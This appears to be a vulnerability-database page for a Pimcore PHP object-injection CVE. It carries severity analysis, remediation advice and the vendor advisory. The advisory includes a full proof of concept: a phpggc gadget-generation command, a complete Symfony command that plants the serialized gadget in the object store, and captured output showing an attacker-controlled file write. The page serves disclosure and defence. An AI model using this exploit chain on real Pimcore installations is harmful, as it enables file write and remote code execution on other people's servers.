Skip to main content

Pimcore CVE-2026-55220

| EUVDEUVD-2026-67870 CRITICAL
Deserialization of Untrusted Data (CWE-502)
2026-08-28 https://github.com/pimcore/pimcore GHSA-w23p-wrp7-ch38
9.3
CVSS 4.0 · Vendor: https://github.com/pimcore/pimcore
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain store-write primitive (SQLi/admin)
  2. Delivery
    Write serialized gadget into `__hotspots` column
  3. Exploit
    Trigger object load (admin/API/frontend)
  4. Execution
    Unrestricted unserialize instantiates gadget
  5. Persist
    Destructor writes file / executes chain
  6. Impact
    Remote code execution

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A08:2025 - Software or Data Integrity Failures
ASVS 5.0
V1 - Encoding and Sanitization Safe deserialization, type allowlists
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires that the target DataObject class declares a Hotspotimage (advanced image) field with a non-null <field>__image, AND that the attacker can write attacker-chosen bytes into that object's object_store_<classId>.<field>__hotspots column (e.g. via an SQL-write or store-write primitive) - the payload must be non-JSON serialized PHP so that json_decode() fails and the Serialize::unserialize() fallback is taken. Successful RCE additionally requires a usable gadget chain, which is satisfied by Pimcore's bundled guzzlehttp/guzzle 7.11.0. Limiting factors: exploitation is NOT reachable by a plain unauthenticated request against a default install - despite the published PR:N, the description makes clear it is the second stage of a chain that presupposes a database/store-write capability; only affected versions (2026.1.0-2026.1.5, ≤12.3.9) with an object carrying a Hotspotimage field are vulnerable.

Impact

The published CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H, score 9.3) presents this as a network, unauthenticated, low-complexity critical flaw - but that scoring is in tension with the advisory's own description, which states the required attacker primitive is the ability to write attacker-chosen serialized bytes into the <field>__hotspots object-store column (for example via an SQL-write or store-write primitive). This is explicitly the deserialization leg of a larger chain, not a standalone unauthenticated entry point, so PR:N overstates the standalone accessibility; treat the 9.3 as the severity of the sink, conditional on an attacker already holding a DB/store-write capability. No EPSS score was supplied, and the CVE is not in CISA KEV, so there is no evidence of active exploitation - however, a fully working PoC is published and the gadget chain lives in Pimcore's bundled dependencies, so weaponization is trivial once a write primitive exists. Given that Pimcore instances frequently expose admin/API surfaces and that any second-order write into these columns is directly executable, any operator running an affected version should treat this as urgent and patch immediately rather than deprioritizing on the missing-KEV signal alone. Bottom line: high real-world priority for exposed or multi-tenant deployments, gated primarily by whether an attacker can reach a store-write path.

Exploit ScenarioDerived

An attacker who has obtained a store-write primitive - for example an SQL injection reaching the object_store table, or a compromised low-trust integration/account that can write DataObject storage - replaces the <field>__hotspots column value of an object that has a Hotspotimage field with a phpggc-generated Guzzle/FW1 serialized payload. On the next load of that object (an admin grid view, frontend render, API read, or inheritance walk), Pimcore's unrestricted unserialize() instantiates the FileCookieJar gadget and its destructor writes an attacker-controlled file to disk; a published PoC demonstrates this end-to-end on v2026.1.4, and other bundled gadget chains extend the file-write into full RCE.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Aug 28, 2026

PHP Object Injection leading to remote code execution affects the Pimcore DXP/CMS (composer pimcore/pimcore) in versions 2026.1.0-2026.1.5 and all 12.3.x through 12.3.9, where the Hotspotimage DataObject field marshaller deserializes the persisted *__hotspots object-store column with no class allowlist. Any attacker able to write crafted PHP-serialized bytes into that column gains arbitrary object instantiation on the next object load, chainable to RCE via gadgets in Pimcore's own bundled dependencies (guzzlehttp/guzzle 7.11.0). A working proof-of-concept demonstrating attacker-controlled file write is published in the vendor advisory; publicly available exploit code exists, but there is no CISA KEV listing and no EPSS score was provided.

Earlier versions of this analysis (1)
v1 Aug 28, 2026 - 19:51

PHP Object Injection in Pimcore's DataObject layer allows an attacker who can write the *__hotspots object-store column to achieve remote code execution when an affected object is next loaded. The Hotspotimage marshaller's getDataFromResource() falls back to Serialize::unserialize() with no class allowlist (allowed_classes defaults to true), so crafted serialized bytes instantiate arbitrary classes and fire their magic methods; the sibling ImageGallery, Block, and Video marshallers share the identical flaw. A detailed end-to-end proof of concept exists demonstrating arbitrary file write via the bundled guzzlehttp/guzzle 7.11.0 FileCookieJar gadget, and the issue is fixed in 12.3.10 and 2026.1.6; there is no public exploit identified in the wild and it is not on CISA KEV.

RemediationAI

Vendor-released patch: upgrade to Pimcore 2026.1.6 (for the 2026.x line) or 12.3.10 (for the 12.3.x line); the fix passes an explicit class allowlist to the deserializer (Serialize::unserialize($metaData, [Element\Data\MarkerHotspotItem::class])), confirmed inert against the PoC gadget. See PR https://github.com/pimcore/pimcore/pull/19181 and commit b184c01bf11e213e601d965b4e96c8bb7248e980, release notes at https://github.com/pimcore/pimcore/releases/tag/v2026.1.6 and https://github.com/pimcore/pimcore/releases/tag/v12.3.10. If you cannot upgrade immediately, the highest-leverage compensating control is to eliminate the write primitive: audit and lock down any path that can write DataObject store columns - patch/parameterize SQL to remove injection vectors, restrict database write credentials used by the app, and restrict admin/API accounts that can persist DataObjects (side effect: tighter DB privileges may break custom import/ETL jobs that write store tables directly). As a defense-in-depth measure you can locally harden the wrapper by flipping Serialize::unserialize()'s default $allowedClasses to false and adding explicit allowlists at legitimate callers, but this requires code-level patching and testing since some callers legitimately revive objects. Avoid deserializing these columns from untrusted or externally-writable databases in the interim.

Affected VersionsENISA

pimcore 12.0.0-RC1, < 12.3.10
pimcore < 11.5.19
pimcore 2026.1.0, < 2026.1.6

Affected Packages

composer pimcore/pimcore fix: 12.3.10, 2026.1.6
euvd pimcore fix: 11.5.19, 2026.1.6
euvd pimcore_12_0_0_rc1 fix: 12.3.10

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause is CWE-502 (Deserialization of Untrusted Data). Pimcore's Pimcore\Tool\Serialize::unserialize() wrapper defaults its $allowedClasses argument to true, meaning PHP's native unserialize() runs with allowed_classes => true (fully unrestricted). The advanced-image field type DataObject\ClassDefinition\Data\Hotspotimage::getDataFromResource() reads the <field>__hotspots store column, attempts json_decode() for backward compatibility, and - because the persistence layer always writes this column as PHP-serialize()d bytes rather than JSON - falls through to the unrestricted Serialize::unserialize(). Instantiating arbitrary classes triggers their __wakeup/__destruct magic methods; the PoC uses phpggc's Guzzle/FW1 chain (GuzzleHttp\Cookie\FileCookieJar::__destruct) as a file-write primitive. The identical json_decode(...) ?: Serialize::unserialize(...) fallback pattern also appears in the sibling marshallers ImageGallery, Block, and Video over their own store columns. Affected package per CPE is pkg:composer/pimcore_pimcore; the load path executes on virtually every retrieval of an affected object (admin grid/detail, frontend rendering, Studio/API reads, inheritance walks).

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/pimcore/pimcore) PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 7.2 HIGH

Exploitation presupposes an attacker-held store/DB-write primitive into the object_store column, so PR:H rather than PR:N; once bytes are written the load-time deserialization and bundled gadget make execution deterministic (AC:L), yielding full C/I/A impact.

3.1 AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/pimcore/pimcore).

CVSS VectorVendor: https://github.com/pimcore/pimcore

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
CVSS changed
Aug 28, 2026 - 20:22 NVD
9.3 (CRITICAL)
CVE Published
Aug 28, 2026 - 19:13 cve.org
CRITICAL

DescriptionCVE.org

Summary

Pimcore\Model\DataObject\ClassDefinition\Data\Hotspotimage::getDataFromResource() deserializes the *__hotspots object-store column through the Pimcore\Tool\Serialize::unserialize() wrapper without a class allowlist (the wrapper's $allowedClasses parameter defaults to true, i.e. fully unrestricted). Because the persistence layer always stores this column as PHP-serialize()d bytes, every load of a DataObject that has a Hotspotimage (advanced image) field runs an unrestricted unserialize() over the stored column value. An attacker who can write the *__hotspots store column with crafted serialized bytes achieves PHP Object Injection (CWE-502): arbitrary classes are instantiated and their magic methods (__wakeup/__destruct) execute, which is exploitable for remote code execution via gadget chains present in Pimcore's own bundled dependencies (e.g. guzzlehttp/guzzle).

The same field-data family also affects the sibling marshallers ImageGallery, Block, and Video, which use the identical json_decode(...) ?: Serialize::unserialize(...) fallback over their respective store columns. The root cause is shared: Serialize::unserialize() defaults to an unrestricted class list, and these callers pass no second argument.

Severity

High. Successful exploitation yields PHP Object Injection leading to remote code execution (proven below as arbitrary file write using a gadget from Pimcore's bundled guzzlehttp/guzzle 7.11.0). This is the deserialization leg of an attack: it requires the ability to write the *__hotspots object-store column with attacker-chosen serialized bytes. No class-allowlist defense is present, so any such write is directly weaponizable on the next object load. CVSS-wise this is comparable to other deserialization sinks over attacker-influenceable storage in this codebase.

Affected component

  • File: models/DataObject/ClassDefinition/Data/Hotspotimage.php, method getDataFromResource().
  • Vulnerable lines (v2026.1.4 / v12.3.8):
php
  $metaData = $data[$this->getName() . '__hotspots'];
  // check if the data is JSON (backward compatibility)
  $md = json_decode($metaData, true);
  if (!$md) {
      $md = Serialize::unserialize($metaData);   // unrestricted: allowed_classes defaults to true
  } elseif (is_array($md)) {
      $md['hotspots'] = $md;
  }
  • Root enabler: lib/Tool/Serialize.php
php
  public static function unserialize(?string $data = null, array|bool $allowedClasses = true): mixed
  {
      if ($data === null || $data === '') { return $data; }
      return unserialize($data, ['allowed_classes' => $allowedClasses]);  // default true = unrestricted
  }
  • Sibling marshallers with the identical fallback shape: ImageGallery, Block, Video (DataObject\ClassDefinition\Data).
  • Package: pimcore/pimcore (Composer).
  • Affected versions: all currently maintained releases, including the latest v2026.1.4 and v12.3.8 (verified against deployed v2026.1.4).

Data flow

  1. On save, Hotspotimage::getDataForResource() stores the hotspot/marker/crop metadata as Serialize::serialize($metaData) into the <field>__hotspots object-store column - i.e. PHP serialized bytes, not JSON.
  2. On load, Hotspotimage::getDataFromResource() reads that column, calls json_decode() (which fails for the serialized format), and therefore falls through to Serialize::unserialize($metaData) with the default unrestricted class list.
  3. Serialize::unserialize() invokes unserialize($data, ['allowed_classes' => true]), instantiating any class named in the bytes and triggering its magic methods.
  4. The load path is exercised on essentially every object retrieval (admin grid/detail, frontend rendering, Studio/API reads, inheritance walks) for objects whose class declares a Hotspotimage field, with a non-null <field>__image.

The attacker primitive is the ability to place crafted serialized bytes into the <field>__hotspots store column (for example through an SQL-write/store-write primitive). The defect is that the deserialization is performed with no class allowlist, so any such write is directly executable.

Proof of Concept

Verified end-to-end against a real, locally deployed Pimcore v2026.1.4 (Composer skeleton + MariaDB + pimcore:install), not a ported stub. The gadget is phpggc Guzzle/FW1 built against Pimcore's own bundled guzzlehttp/guzzle 7.11.0; its GuzzleHttp\Cookie\FileCookieJar::__destruct writes an attacker-controlled file to disk (a file-write primitive; the same surface reaches RCE via other vendored gadget chains).

Gadget generation (476→474 raw bytes, non-JSON so the unserialize fallback is taken):

printf 'PWNED_BY_DESERIALIZATION_%s' "$(date +%s)" > /tmp/ggc_local_src.txt
./phpggc Guzzle/FW1 /tmp/pimcore_pwned_hotspot.txt /tmp/ggc_local_src.txt | tr -d '\n' > /tmp/ggc_guzzle_fw1.ser
# stored bytes begin: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{...

Reproduction harness (a Symfony console command living in the deployed app; it creates a real DataObject class with a Hotspotimage field, a real image asset, a real saved object, performs the attacker store-write into object_store_<id>.img__hotspots, then reloads the object through the real Pimcore model layer):

php
<?php
declare(strict_types=1);
namespace App\Command;

use Pimcore\Db;
use Pimcore\Model\Asset;
use Pimcore\Model\DataObject;
use Pimcore\Model\DataObject\ClassDefinition;
use Symfony\Component\Console\Attribute\AsCommand;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

#[AsCommand(name: 'e2e:hotspot', description: 'E2E CWE-502 Hotspotimage __hotspots unserialize')]
final class E2eHotspotCommand extends Command
{
    protected function configure(): void
    {
        $this->addOption('benign', null, InputOption::VALUE_NONE, 'negative control: benign JSON');
        $this->addOption('restricted', null, InputOption::VALUE_NONE, 'negative control: allowed_classes=false');
    }

    protected function execute(InputInterface $input, OutputInterface $output): int
    {
        $o = fn (string $m) => $output->writeln($m);
        $gadget = (string) file_get_contents('/tmp/ggc_guzzle_fw1.ser');
        $target = '/tmp/pimcore_pwned_hotspot.txt';
        @unlink($target);

        $o('=== STEP 1: create DataObject class with a Hotspotimage field ===');
        $class = ClassDefinition::getByName('E2eHotspot');
        if (!$class) {
            $class = new ClassDefinition();
            $class->setName('E2eHotspot');
            $class->setGroup('e2e');
            $field = new ClassDefinition\Data\Hotspotimage();
            $field->setName('img');
            $field->setTitle('img');
            $panel = new ClassDefinition\Layout\Panel();
            $panel->setName('Layout');
            $panel->addChild($field);
            $class->setLayoutDefinitions($panel);
            $class->save();
        }
        $o('  class id=' . $class->getId());

        $o('=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===');
        $png = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==');
        $asset = Asset::getByPath('/e2e_pixel.png');
        if (!$asset) {
            $asset = new Asset\Image();
            $asset->setFilename('e2e_pixel.png');
            $asset->setParent(Asset::getById(1));
            $asset->setData($png);
            $asset->save();
        }
        $o('  asset id=' . $asset->getId());

        $o('=== STEP 3: create+save object carrying that image ===');
        $obj = DataObject::getByPath('/e2e_obj');
        if (!$obj) {
            $fqcn = '\\Pimcore\\Model\\DataObject\\' . $class->getName();
            $obj = new $fqcn();
            $obj->setKey('e2e_obj');
            $obj->setParent(DataObject::getById(1));
            $obj->setPublished(true);
            $obj->setValue('img', new DataObject\Data\Hotspotimage($asset));
            $obj->save();
        }
        $objId = $obj->getId();
        $store = 'object_store_' . $class->getId();
        $o('  object id=' . $objId . '  store=' . $store);

        $o('=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===');
        $db = Db::get();
        $payload = $input->getOption('benign')
            ? json_encode(['hotspots' => [], 'marker' => [], 'crop' => []])
            : $gadget;
        $db->executeStatement('UPDATE `' . $store . '` SET `img__hotspots` = ? WHERE oo_id = ?', [$payload, $objId]);
        $stored = (string) $db->fetchOne('SELECT `img__hotspots` FROM `' . $store . '` WHERE oo_id = ?', [$objId]);
        $o('  stored prefix: ' . substr($stored, 0, 60));
        $o('  json_decode(stored) === null ? ' . var_export(json_decode($stored, true) === null, true) . '  (=> unserialize fallback)');

        $o('=== STEP 5: clear cache + reload object => getDataFromResource() ===');
        \Pimcore\Cache::clearAll();
        \Pimcore\Cache\RuntimeCache::clear();
        $o('  target file before load exists? ' . var_export(file_exists($target), true));

        if ($input->getOption('restricted')) {
            $o('  [negative control] fixed wrapper allowed_classes=false on the same bytes');
            $res = @unserialize($stored, ['allowed_classes' => false]);
            $o('  returned type=' . gettype($res) . ' class=' . (is_object($res) ? get_class($res) : 'n/a'));
            gc_collect_cycles();
        } else {
            try {
                $reloaded = DataObject\Concrete::getById($objId, ['force' => true]);
                $reloaded->getImg(); // triggers Hotspotimage::getDataFromResource() lazy load
                $o('  reloaded class=' . get_class($reloaded));
                unset($reloaded);
            } catch (\Throwable $e) {
                $o('  (post-unserialize downstream error, gadget already instantiated): ' . $e->getMessage());
            }
            gc_collect_cycles();
        }

        $o('=== RESULT ===');
        clearstatcache();
        if (file_exists($target)) {
            $o('  [VULNERABLE] gadget file WRITTEN: ' . $target);
            $o('  contents: ' . trim((string) file_get_contents($target)));
        } else {
            $o('  [NOT TRIGGERED] target file absent');
        }
        return Command::SUCCESS;
    }
}

Captured output - RUN A (positive, gadget):

=== STEP 1: create DataObject class with a Hotspotimage field ===
  class id=1
=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===
  asset id=2
=== STEP 3: create+save object carrying that image ===
  object id=4  store=object_store_1
=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===
  stored prefix: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"\GuzzleHttp\
  json_decode(stored) === null ? true  (=> unserialize fallback)
=== STEP 5: clear cache + reload object => getDataFromResource() ===
  target file before load exists? false
  (post-unserialize downstream error, gadget already instantiated): Cannot use object of type GuzzleHttp\Cookie\FileCookieJar as array
=== RESULT ===
  [VULNERABLE] gadget file WRITTEN: /tmp/pimcore_pwned_hotspot.txt
  contents: [{"Expires":1,"Discard":false,"Value":"PWNED_BY_DESERIALIZATION_1780420803"}]

Captured output - RUN B (negative control, benign JSON in the column):

=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===
  [negative control] storing benign JSON
  stored prefix: {"hotspots":[],"marker":[],"crop":[]}
  json_decode(stored) === null ? false  (=> unserialize fallback)
=== STEP 5: clear cache + reload object => getDataFromResource() ===
  target file before load exists? false
  reloaded class=Pimcore\Model\DataObject\E2eHotspot
=== RESULT ===
  [NOT TRIGGERED] target file absent

Captured output - RUN C (negative control, the fix: allowed_classes=false over the same gadget bytes):

=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===
  stored prefix: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"\GuzzleHttp\
  json_decode(stored) === null ? true  (=> unserialize fallback)
=== STEP 5: clear cache + reload object => getDataFromResource() ===
  target file before load exists? false
  [negative control] fixed wrapper allowed_classes=false on the same bytes
  returned type=object class=__PHP_Incomplete_Class
=== RESULT ===
  [NOT TRIGGERED] target file absent

RUN A shows the attacker bytes drive unserialize() to instantiate the GuzzleHttp\Cookie\FileCookieJar gadget, whose destructor writes an attacker-controlled file. RUN B shows benign JSON takes the safe json_decode branch (no deserialization, no file). RUN C shows that performing the same deserialization with an allowed_classes allowlist returns an inert __PHP_Incomplete_Class and the gadget never runs - i.e. the proposed fix neutralizes the attack.

Impact

PHP Object Injection (CWE-502) on object load. With gadget chains available in Pimcore's bundled dependencies this is exploitable for remote code execution; the PoC demonstrates an attacker-controlled arbitrary file write via the bundled guzzlehttp/guzzle 7.11.0 FileCookieJar chain. Because the *__hotspots column is read on virtually every load of an affected object (admin UI, frontend output, API, inheritance resolution), any write of crafted bytes into that column is reliably executed.

Remediation

Make Serialize::unserialize() safe by default and/or pass an explicit class allowlist at the Hotspotimage/ImageGallery/Block/Video callers.

Preferred minimal fix at the wrapper (closes the whole Serialize::unserialize()-without-allowlist family in one place):

php
public static function unserialize(?string $data = null, array|bool $allowedClasses = false): mixed

(i.e. flip the default to false, requiring callers that legitimately need to revive objects to opt in with an explicit allowlist). Alternatively, change each affected marshaller to pass ['allowed_classes' => false] (or a tight allowlist such as [MarkerHotspotItem::class]) explicitly. RUN C above confirms allowed_classes deserialization renders the gadget inert. Fix PR (private temporary advisory fork): https://github.com/pimcore/pimcore-ghsa-w23p-wrp7-ch38/pull/1

Technical POC Analysis

CWE-502: deserialization of untrusted data.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

Pimcore digital experience platform versions 2026.1.0-2026.1.5 and 12.3.0-12.3.9 contain a critical remote code execution vulnerability allowing attackers to take complete control of affected servers. Publicly available exploit code exists, creating immediate risk of full system compromise, data theft, and service disruption for any organization running these Pimcore versions.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.5%
Top 59% exploitable
Prevalence
Medium
widely used open-source PHP DXP/CMS, common but not ubiquitous
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Social Media
2
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

66
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Insecure deserialization occurs when an application converts serialized data (a stream of bytes representing an object's state) back into a living object without proper validation.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy